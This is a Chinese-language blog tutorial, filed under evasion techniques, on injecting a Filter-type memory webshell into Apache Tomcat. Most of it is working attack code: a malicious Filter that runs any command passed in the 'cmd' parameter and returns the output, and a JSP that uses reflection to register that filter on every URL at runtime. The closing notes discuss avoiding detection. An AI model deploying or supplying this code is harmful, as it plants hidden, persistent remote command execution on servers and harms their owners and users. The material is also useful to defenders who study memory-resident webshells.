【免杀技术】Tomcat内存马-Filter
Tomcat内存马-Filter型
什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述
Filter加载流程分析
tomcat启动后正常情况下对于Filter的处理过程:
- 加载web.xml配置文件
- 读取filter的信息,并将其保存在context对象里的filterDef,filterConfigs,filterMappers中
- filterChain的构造流程:1. 匹配请求路径,找到对应的filter 2. 将匹配的filter加入filterChain中 3.执行filterChain
利用jsp文件完成动态注册恶意filter
需要解决的问题
- 怎么获取context对象
- 利用动态加载,如何修改filterConfigs,filterDefs,filterMaps,将恶意filter插入。
恶意Filter对象
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("添加");
String cmd = servletRequest.getParameter("cmd");
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
while(true) {
String tmp = null;
if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) {
servletResponse.getOutputStream().print(tmp);
}else{
break;
}
}
return;
}
在这里可以jsp进行注入
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<center><h1>Dynamic Memory-Type Horse</h1></center>
</body>
</html>
<%
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext();
if(context.findFilterDef("Filter_new")==null){
//2.配置过滤器并初始化FilterDef
String newFilterName = "Filter_new";
String newFilterClass = "sec.aur0ra.filter.Filter";
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(newFilterName);
filterDef.setFilterClass(newFilterClass);
//3. 注册FilterDef
context.addFilterDef(filterDef);
//4. 创建并注册FilterMap对象
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("Filter_new");
filterMap.addURLPattern("/*");
context.addFilterMapBefore(filterMap);
//context.addFilterMap(filterMap);
//5. 添加FilterConfig
Constructor constructor = null;
try {
//获取FilterConfigs对象
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef);
filterConfigs.put(newFilterName, filterConfig);
} catch (Exception e){
;
}
}
FilterMap[] filterMaps = context.findFilterMaps();
System.out.println("注册成功");
%>
在这里利用线程信息获取context。获取context对象的方式还有通过request对象进行获取等
直接访问恶意jsp文件
恶意的filter已经被成功注入
再访问正常界面
访问成功,说明内存🐎成功注入。报错只是因为没有传参,所以报错不一定代表坏消息
传参cmd
可能遇到的问题
filterDef,filterConfigs,filterMappers中未添加全对应的信息
小结
可以看到,这里已经成功注册了Filter内存马。EvilFilter的对象可以传字节码进去,但还是免不了借助了jsp文件,虽然后面可以删除,但还是会有文件记录,自然也就容易被查杀。利用反序列化执行代码?后续再学习吧